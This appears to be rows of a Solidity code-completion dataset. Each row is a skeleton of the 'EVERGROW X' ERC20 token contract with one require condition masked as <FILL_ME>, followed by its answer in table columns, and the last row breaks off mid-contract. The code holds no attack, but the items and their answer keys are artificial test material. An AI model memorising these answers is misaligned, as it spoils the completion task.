function _setAutomatedMarketMakerPair(address pair, bool value) internal {
}
function takeFee(address from, address to, uint256 amount) internal returns (uint256) {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapAndLiquify(uint256 contractTokenBalance) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function setUnlockTime(uint256 newUnlockTime) private {
}
function JeetsSellTax (uint256 amount) internal view returns (uint256) {
}
}
contract EVERGROWX is Main {
constructor() Main(
"EVERGROW X", // Name
"EGCX", // Symbol
18, // Decimal
0x84293B793C3baca544B3E167a32d84763e69Bc0F, // Marketing address
1_000_000_000_000, // Initial Supply
1_000_000_000_000, // Dispa&tch Supply
10 // Max Tax
) {}
}
| _maxSell*10**decimal>=supply/1000&&_maxSell*10**decimal<=supply,"MawSell must be between totalsupply and 0.1% of totalsupply" | 122,287 | _maxSell*10**decimal>=supply/1000&&_maxSell*10**decimal<=supply |
"MinSwap must be between maxswap/2 and 0.01% of totalsupply" | // SPDX-License-Identifier: MIT
//*************************************************************************************************//
// Website : https://evergrowx.dev/
// TG : https://t.me/evergrowx
//*************************************************************************************************//
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) { }
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) { }
function symbol() public view virtual override returns (string memory) { }
function decimals() public view virtual override returns (uint8) { }
function totalSupply() public view virtual override returns (uint256) { }
function balanceOf(address account) public view virtual override returns (uint256) { }
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _burn(address sender, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function addLiquidityETH (address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IDexFactory {function createPair(address tokenA, address tokenB) external returns (address pair);}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) { }
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract SafeToken is Ownable {
address payable public safeManager;
event NewSafeManager (address indexed NewManager);
constructor() { }
function setSafeManager(address payable _safeManager) external onlyOwner {
}
function withdraw(address _token, uint256 _amount) external { }
function withdrawETH(uint256 _amount) external { }
}
contract Main is ERC20, Ownable, SafeToken {
IDexRouter public DEXV2Router;
address private immutable DEXV2Pair;
address payable private MarketingWallet;
address private DeadWallet;
address private DexRouter;
bool private swapping;
bool private swapAndLiquifyEnabled = true;
bool public tradingEnabled = false;
bool private JeetsFee = true;
bool private JeetsBurn = true;
bool private DelayOption = false;
uint256 private marketingETHPortion = 0;
uint256 private MaxSell;
uint256 private MaxWallet;
uint256 private SwapMin;
uint256 private MaxSwap;
uint256 private MaxTaxes;
uint256 private MaxTokenToSwap;
uint256 private maxSellTransactionAmount;
uint256 private maxWalletAmount;
uint256 private swapTokensAtAmount;
uint8 private decimal;
uint256 private InitialSupply;
uint256 private DispatchSupply;
uint256 private _liquidityUnlockTime = 0;
uint256 private counter;
uint256 private MinTime = 0;
// Tax Fees
uint256 private _LiquidityFee = 2;
uint256 private _BurnFee = 0;
uint256 private _MarketingFee= 0;
uint256 private _Wallet2WalletFee = 0; // no wallet to wallet fee
uint256 private _BuyFee = 2;
uint256 private _SellFee = 0;
uint8 private VminDiv = 1;
uint8 private VmaxDiv = 15;
uint8 private MaxJeetsFee = 40;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isWhitelisted;
mapping (address => bool) private _isExcludedFromMaxTx;
mapping (address => uint256) private LastTimeSell;
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateDEXV2Router(address indexed newAddress, address indexed oldAddress);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ETHReceived, uint256 tokensIntoLiqudity);
event ExtendLiquidityLock(uint256 extendedLockTime);
event NewDelay (bool delay, uint256 time);
event NewLimits (uint256 maxWallet, uint256 maxSell, uint256 minswap, uint256 swapmax, uint256 maxtax);
event NewFees (uint256 buy, uint256 Sell);
event NewMarketingWallet (address indexed newMarketingWallet);
event Launched (bool trading);
event LPReleased (address indexed receiver, uint256 amount);
event JeetTaxChanged (uint8 Maxdiv, uint8 Mindiv, uint8 Jeetsfee);
constructor(string memory name_, string memory symbol_, uint8 decimal_, address marketing_, uint256 supply_, uint256 dispatch_, uint8 maxtaxes_) ERC20(name_, symbol_) {
}
receive() external payable {}
//******************************************************************************************************
// Public functions
//******************************************************************************************************
function decimals() override public view returns (uint8) { }
function GetExclusions(address account) public view returns(bool MaxTx, bool Fees, bool Whitelist){ }
function GetFees() public view returns(uint Buy, uint Sell, uint Wallet2Wallet, uint Liquidity, uint Marketing, uint Burn){ }
function GetLimits() public view returns(uint256 SellMax, uint256 WalletMax, uint256 TaxMax, uint256 MinSwap, uint256 SwapMax, bool SwapLiq, bool ENtrading){ }
function GetDelay() public view returns (bool delayoption, uint256 mintime) { }
function GetContractAddresses() public view returns(address marketing, address Dead, address LP){ }
function GetJeetsTaxInfo() external view returns (bool jeetsfee, bool jeetsburn, uint vmaxdiv, uint vmindiv, uint maxjeetsfee) { }
function GetContractBalance() external view returns (uint256 marketingETH) { }
function GetSupplyInfo() public view returns (uint256 initialSupply, uint256 circulatingSupply, uint256 burntTokens) {
}
function getLiquidityUnlockTime() public view returns (uint256 Days, uint256 Hours, uint256 Minutes, uint256 Seconds) {
}
//******************************************************************************************************
// Write OnlyOwners functions
//******************************************************************************************************
function setProjectWallet (address payable _newMarketingWallet) external onlyOwner {
}
function SetDelay (bool delayoption, uint256 mintime) external onlyOwner {
}
function SetLimits(uint256 _maxWallet, uint256 _maxSell, uint256 _minswap, uint256 _swapmax, uint256 MaxTax, bool _swapAndLiquifyEnabled) external onlyOwner {
uint256 supply = totalSupply ();
require(_maxWallet * 10**decimal >= supply / 100 && _maxWallet * 10**decimal <= supply, "MawWallet must be between totalsupply and 1% of totalsupply");
require(_maxSell * 10**decimal >= supply / 1000 && _maxSell * 10**decimal <= supply, "MawSell must be between totalsupply and 0.1% of totalsupply" );
require(<FILL_ME>)
require(MaxTax >= 1 && MaxTax <= 25, "Max Tax must be updated to between 1 and 25 percent");
require(_swapmax >= _minswap*2 && _swapmax * 10**decimal <= supply, "MaxSwap must be between totalsupply and SwapMin x 2" );
MaxSwap = _swapmax;
MaxTokenToSwap = MaxSwap * 10**decimal;
MaxWallet = _maxWallet;
maxWalletAmount = MaxWallet * 10**decimal;
MaxSell = _maxSell;
maxSellTransactionAmount = MaxSell * 10**decimal;
SwapMin = _minswap;
swapTokensAtAmount = SwapMin * 10**decimal;
MaxTaxes = MaxTax;
swapAndLiquifyEnabled = _swapAndLiquifyEnabled;
emit NewLimits (_maxWallet, _maxSell, _minswap, _swapmax, MaxTax);
emit SwapAndLiquifyEnabledUpdated(_swapAndLiquifyEnabled);
}
function SetTaxes(uint256 newBuyTax, uint256 wallet2walletfee, uint256 newLiquidityTax, uint256 newBurnTax, uint256 newMarketingTax) external onlyOwner() {
}
function updateDEXV2Router(address newAddress) external onlyOwner {
}
function SetExclusions (address account, bool Fee, bool MaxTx, bool WhiteList) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function ExtendLockTime(uint256 newdays, uint256 newhours) external onlyOwner {
}
function Launch (uint256 Blocks, uint256 lockTimeInDays, uint256 lockTimeInHours) external onlyOwner {
}
function ReleaseLP() external onlyOwner {
}
function SetJeetsTax(bool jeetsfee, bool jeetsburn, uint8 vmaxdiv, uint8 vmindiv, uint8 maxjeetsfee) external onlyOwner {
}
//******************************************************************************************************
// Internal functions
//******************************************************************************************************
function _setAutomatedMarketMakerPair(address pair, bool value) internal {
}
function takeFee(address from, address to, uint256 amount) internal returns (uint256) {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapAndLiquify(uint256 contractTokenBalance) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function setUnlockTime(uint256 newUnlockTime) private {
}
function JeetsSellTax (uint256 amount) internal view returns (uint256) {
}
}
contract EVERGROWX is Main {
constructor() Main(
"EVERGROW X", // Name
"EGCX", // Symbol
18, // Decimal
0x84293B793C3baca544B3E167a32d84763e69Bc0F, // Marketing address
1_000_000_000_000, // Initial Supply
1_000_000_000_000, // Dispa&tch Supply
10 // Max Tax
) {}
}
| _minswap*10**decimal>=supply/10000&&_minswap<=_swapmax/2,"MinSwap must be between maxswap/2 and 0.01% of totalsupply" | 122,287 | _minswap*10**decimal>=supply/10000&&_minswap<=_swapmax/2 |
"Total Tax can't exceed MaxTaxes." | // SPDX-License-Identifier: MIT
//*************************************************************************************************//
// Website : https://evergrowx.dev/
// TG : https://t.me/evergrowx
//*************************************************************************************************//
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) { }
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) { }
function symbol() public view virtual override returns (string memory) { }
function decimals() public view virtual override returns (uint8) { }
function totalSupply() public view virtual override returns (uint256) { }
function balanceOf(address account) public view virtual override returns (uint256) { }
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _burn(address sender, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function addLiquidityETH (address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IDexFactory {function createPair(address tokenA, address tokenB) external returns (address pair);}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) { }
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract SafeToken is Ownable {
address payable public safeManager;
event NewSafeManager (address indexed NewManager);
constructor() { }
function setSafeManager(address payable _safeManager) external onlyOwner {
}
function withdraw(address _token, uint256 _amount) external { }
function withdrawETH(uint256 _amount) external { }
}
contract Main is ERC20, Ownable, SafeToken {
IDexRouter public DEXV2Router;
address private immutable DEXV2Pair;
address payable private MarketingWallet;
address private DeadWallet;
address private DexRouter;
bool private swapping;
bool private swapAndLiquifyEnabled = true;
bool public tradingEnabled = false;
bool private JeetsFee = true;
bool private JeetsBurn = true;
bool private DelayOption = false;
uint256 private marketingETHPortion = 0;
uint256 private MaxSell;
uint256 private MaxWallet;
uint256 private SwapMin;
uint256 private MaxSwap;
uint256 private MaxTaxes;
uint256 private MaxTokenToSwap;
uint256 private maxSellTransactionAmount;
uint256 private maxWalletAmount;
uint256 private swapTokensAtAmount;
uint8 private decimal;
uint256 private InitialSupply;
uint256 private DispatchSupply;
uint256 private _liquidityUnlockTime = 0;
uint256 private counter;
uint256 private MinTime = 0;
// Tax Fees
uint256 private _LiquidityFee = 2;
uint256 private _BurnFee = 0;
uint256 private _MarketingFee= 0;
uint256 private _Wallet2WalletFee = 0; // no wallet to wallet fee
uint256 private _BuyFee = 2;
uint256 private _SellFee = 0;
uint8 private VminDiv = 1;
uint8 private VmaxDiv = 15;
uint8 private MaxJeetsFee = 40;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isWhitelisted;
mapping (address => bool) private _isExcludedFromMaxTx;
mapping (address => uint256) private LastTimeSell;
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateDEXV2Router(address indexed newAddress, address indexed oldAddress);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ETHReceived, uint256 tokensIntoLiqudity);
event ExtendLiquidityLock(uint256 extendedLockTime);
event NewDelay (bool delay, uint256 time);
event NewLimits (uint256 maxWallet, uint256 maxSell, uint256 minswap, uint256 swapmax, uint256 maxtax);
event NewFees (uint256 buy, uint256 Sell);
event NewMarketingWallet (address indexed newMarketingWallet);
event Launched (bool trading);
event LPReleased (address indexed receiver, uint256 amount);
event JeetTaxChanged (uint8 Maxdiv, uint8 Mindiv, uint8 Jeetsfee);
constructor(string memory name_, string memory symbol_, uint8 decimal_, address marketing_, uint256 supply_, uint256 dispatch_, uint8 maxtaxes_) ERC20(name_, symbol_) {
}
receive() external payable {}
//******************************************************************************************************
// Public functions
//******************************************************************************************************
function decimals() override public view returns (uint8) { }
function GetExclusions(address account) public view returns(bool MaxTx, bool Fees, bool Whitelist){ }
function GetFees() public view returns(uint Buy, uint Sell, uint Wallet2Wallet, uint Liquidity, uint Marketing, uint Burn){ }
function GetLimits() public view returns(uint256 SellMax, uint256 WalletMax, uint256 TaxMax, uint256 MinSwap, uint256 SwapMax, bool SwapLiq, bool ENtrading){ }
function GetDelay() public view returns (bool delayoption, uint256 mintime) { }
function GetContractAddresses() public view returns(address marketing, address Dead, address LP){ }
function GetJeetsTaxInfo() external view returns (bool jeetsfee, bool jeetsburn, uint vmaxdiv, uint vmindiv, uint maxjeetsfee) { }
function GetContractBalance() external view returns (uint256 marketingETH) { }
function GetSupplyInfo() public view returns (uint256 initialSupply, uint256 circulatingSupply, uint256 burntTokens) {
}
function getLiquidityUnlockTime() public view returns (uint256 Days, uint256 Hours, uint256 Minutes, uint256 Seconds) {
}
//******************************************************************************************************
// Write OnlyOwners functions
//******************************************************************************************************
function setProjectWallet (address payable _newMarketingWallet) external onlyOwner {
}
function SetDelay (bool delayoption, uint256 mintime) external onlyOwner {
}
function SetLimits(uint256 _maxWallet, uint256 _maxSell, uint256 _minswap, uint256 _swapmax, uint256 MaxTax, bool _swapAndLiquifyEnabled) external onlyOwner {
}
function SetTaxes(uint256 newBuyTax, uint256 wallet2walletfee, uint256 newLiquidityTax, uint256 newBurnTax, uint256 newMarketingTax) external onlyOwner() {
require(newBuyTax <= MaxTaxes && newBuyTax >= newBurnTax, "Total Tax can't exceed MaxTaxes. or be lower than burn tax");
uint256 TransferTax = newMarketingTax;
require(<FILL_ME>)
require(newMarketingTax >= 0 && newBuyTax >= 0 && newLiquidityTax >= 0 && newBurnTax >= 0,"No tax can be negative");
if(wallet2walletfee != 0){require(wallet2walletfee >= _BurnFee && wallet2walletfee <= MaxTaxes, "Wallet 2 Wallet Tax must be updated to between burn tax and 25 percent");}
_BuyFee = newBuyTax;
_Wallet2WalletFee = wallet2walletfee;
_BurnFee = newBurnTax;
_LiquidityFee = newLiquidityTax;
_MarketingFee = newMarketingTax;
_SellFee = _LiquidityFee + _MarketingFee + _BurnFee;
emit NewFees (newBuyTax, _SellFee);
}
function updateDEXV2Router(address newAddress) external onlyOwner {
}
function SetExclusions (address account, bool Fee, bool MaxTx, bool WhiteList) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function ExtendLockTime(uint256 newdays, uint256 newhours) external onlyOwner {
}
function Launch (uint256 Blocks, uint256 lockTimeInDays, uint256 lockTimeInHours) external onlyOwner {
}
function ReleaseLP() external onlyOwner {
}
function SetJeetsTax(bool jeetsfee, bool jeetsburn, uint8 vmaxdiv, uint8 vmindiv, uint8 maxjeetsfee) external onlyOwner {
}
//******************************************************************************************************
// Internal functions
//******************************************************************************************************
function _setAutomatedMarketMakerPair(address pair, bool value) internal {
}
function takeFee(address from, address to, uint256 amount) internal returns (uint256) {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapAndLiquify(uint256 contractTokenBalance) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function setUnlockTime(uint256 newUnlockTime) private {
}
function JeetsSellTax (uint256 amount) internal view returns (uint256) {
}
}
contract EVERGROWX is Main {
constructor() Main(
"EVERGROW X", // Name
"EGCX", // Symbol
18, // Decimal
0x84293B793C3baca544B3E167a32d84763e69Bc0F, // Marketing address
1_000_000_000_000, // Initial Supply
1_000_000_000_000, // Dispa&tch Supply
10 // Max Tax
) {}
}
| TransferTax+newLiquidityTax+newBurnTax<=MaxTaxes,"Total Tax can't exceed MaxTaxes." | 122,287 | TransferTax+newLiquidityTax+newBurnTax<=MaxTaxes |
"account already set" | // SPDX-License-Identifier: MIT
//*************************************************************************************************//
// Website : https://evergrowx.dev/
// TG : https://t.me/evergrowx
//*************************************************************************************************//
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) { }
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) { }
function symbol() public view virtual override returns (string memory) { }
function decimals() public view virtual override returns (uint8) { }
function totalSupply() public view virtual override returns (uint256) { }
function balanceOf(address account) public view virtual override returns (uint256) { }
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _burn(address sender, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function addLiquidityETH (address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IDexFactory {function createPair(address tokenA, address tokenB) external returns (address pair);}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) { }
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract SafeToken is Ownable {
address payable public safeManager;
event NewSafeManager (address indexed NewManager);
constructor() { }
function setSafeManager(address payable _safeManager) external onlyOwner {
}
function withdraw(address _token, uint256 _amount) external { }
function withdrawETH(uint256 _amount) external { }
}
contract Main is ERC20, Ownable, SafeToken {
IDexRouter public DEXV2Router;
address private immutable DEXV2Pair;
address payable private MarketingWallet;
address private DeadWallet;
address private DexRouter;
bool private swapping;
bool private swapAndLiquifyEnabled = true;
bool public tradingEnabled = false;
bool private JeetsFee = true;
bool private JeetsBurn = true;
bool private DelayOption = false;
uint256 private marketingETHPortion = 0;
uint256 private MaxSell;
uint256 private MaxWallet;
uint256 private SwapMin;
uint256 private MaxSwap;
uint256 private MaxTaxes;
uint256 private MaxTokenToSwap;
uint256 private maxSellTransactionAmount;
uint256 private maxWalletAmount;
uint256 private swapTokensAtAmount;
uint8 private decimal;
uint256 private InitialSupply;
uint256 private DispatchSupply;
uint256 private _liquidityUnlockTime = 0;
uint256 private counter;
uint256 private MinTime = 0;
// Tax Fees
uint256 private _LiquidityFee = 2;
uint256 private _BurnFee = 0;
uint256 private _MarketingFee= 0;
uint256 private _Wallet2WalletFee = 0; // no wallet to wallet fee
uint256 private _BuyFee = 2;
uint256 private _SellFee = 0;
uint8 private VminDiv = 1;
uint8 private VmaxDiv = 15;
uint8 private MaxJeetsFee = 40;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isWhitelisted;
mapping (address => bool) private _isExcludedFromMaxTx;
mapping (address => uint256) private LastTimeSell;
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateDEXV2Router(address indexed newAddress, address indexed oldAddress);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ETHReceived, uint256 tokensIntoLiqudity);
event ExtendLiquidityLock(uint256 extendedLockTime);
event NewDelay (bool delay, uint256 time);
event NewLimits (uint256 maxWallet, uint256 maxSell, uint256 minswap, uint256 swapmax, uint256 maxtax);
event NewFees (uint256 buy, uint256 Sell);
event NewMarketingWallet (address indexed newMarketingWallet);
event Launched (bool trading);
event LPReleased (address indexed receiver, uint256 amount);
event JeetTaxChanged (uint8 Maxdiv, uint8 Mindiv, uint8 Jeetsfee);
constructor(string memory name_, string memory symbol_, uint8 decimal_, address marketing_, uint256 supply_, uint256 dispatch_, uint8 maxtaxes_) ERC20(name_, symbol_) {
}
receive() external payable {}
//******************************************************************************************************
// Public functions
//******************************************************************************************************
function decimals() override public view returns (uint8) { }
function GetExclusions(address account) public view returns(bool MaxTx, bool Fees, bool Whitelist){ }
function GetFees() public view returns(uint Buy, uint Sell, uint Wallet2Wallet, uint Liquidity, uint Marketing, uint Burn){ }
function GetLimits() public view returns(uint256 SellMax, uint256 WalletMax, uint256 TaxMax, uint256 MinSwap, uint256 SwapMax, bool SwapLiq, bool ENtrading){ }
function GetDelay() public view returns (bool delayoption, uint256 mintime) { }
function GetContractAddresses() public view returns(address marketing, address Dead, address LP){ }
function GetJeetsTaxInfo() external view returns (bool jeetsfee, bool jeetsburn, uint vmaxdiv, uint vmindiv, uint maxjeetsfee) { }
function GetContractBalance() external view returns (uint256 marketingETH) { }
function GetSupplyInfo() public view returns (uint256 initialSupply, uint256 circulatingSupply, uint256 burntTokens) {
}
function getLiquidityUnlockTime() public view returns (uint256 Days, uint256 Hours, uint256 Minutes, uint256 Seconds) {
}
//******************************************************************************************************
// Write OnlyOwners functions
//******************************************************************************************************
function setProjectWallet (address payable _newMarketingWallet) external onlyOwner {
}
function SetDelay (bool delayoption, uint256 mintime) external onlyOwner {
}
function SetLimits(uint256 _maxWallet, uint256 _maxSell, uint256 _minswap, uint256 _swapmax, uint256 MaxTax, bool _swapAndLiquifyEnabled) external onlyOwner {
}
function SetTaxes(uint256 newBuyTax, uint256 wallet2walletfee, uint256 newLiquidityTax, uint256 newBurnTax, uint256 newMarketingTax) external onlyOwner() {
}
function updateDEXV2Router(address newAddress) external onlyOwner {
}
function SetExclusions (address account, bool Fee, bool MaxTx, bool WhiteList) external onlyOwner {
require(<FILL_ME>)
_isExcludedFromFees[account] = Fee;
_isExcludedFromMaxTx[account] = MaxTx;
_isWhitelisted[account] = WhiteList;
emit ExcludeFromFees (account, Fee);
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function ExtendLockTime(uint256 newdays, uint256 newhours) external onlyOwner {
}
function Launch (uint256 Blocks, uint256 lockTimeInDays, uint256 lockTimeInHours) external onlyOwner {
}
function ReleaseLP() external onlyOwner {
}
function SetJeetsTax(bool jeetsfee, bool jeetsburn, uint8 vmaxdiv, uint8 vmindiv, uint8 maxjeetsfee) external onlyOwner {
}
//******************************************************************************************************
// Internal functions
//******************************************************************************************************
function _setAutomatedMarketMakerPair(address pair, bool value) internal {
}
function takeFee(address from, address to, uint256 amount) internal returns (uint256) {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapAndLiquify(uint256 contractTokenBalance) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function setUnlockTime(uint256 newUnlockTime) private {
}
function JeetsSellTax (uint256 amount) internal view returns (uint256) {
}
}
contract EVERGROWX is Main {
constructor() Main(
"EVERGROW X", // Name
"EGCX", // Symbol
18, // Decimal
0x84293B793C3baca544B3E167a32d84763e69Bc0F, // Marketing address
1_000_000_000_000, // Initial Supply
1_000_000_000_000, // Dispa&tch Supply
10 // Max Tax
) {}
}
| _isExcludedFromFees[account]!=Fee,"account already set" | 122,287 | _isExcludedFromFees[account]!=Fee |
"Trading not allowed yet" | // SPDX-License-Identifier: MIT
//*************************************************************************************************//
// Website : https://evergrowx.dev/
// TG : https://t.me/evergrowx
//*************************************************************************************************//
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) { }
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) { }
function symbol() public view virtual override returns (string memory) { }
function decimals() public view virtual override returns (uint8) { }
function totalSupply() public view virtual override returns (uint256) { }
function balanceOf(address account) public view virtual override returns (uint256) { }
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
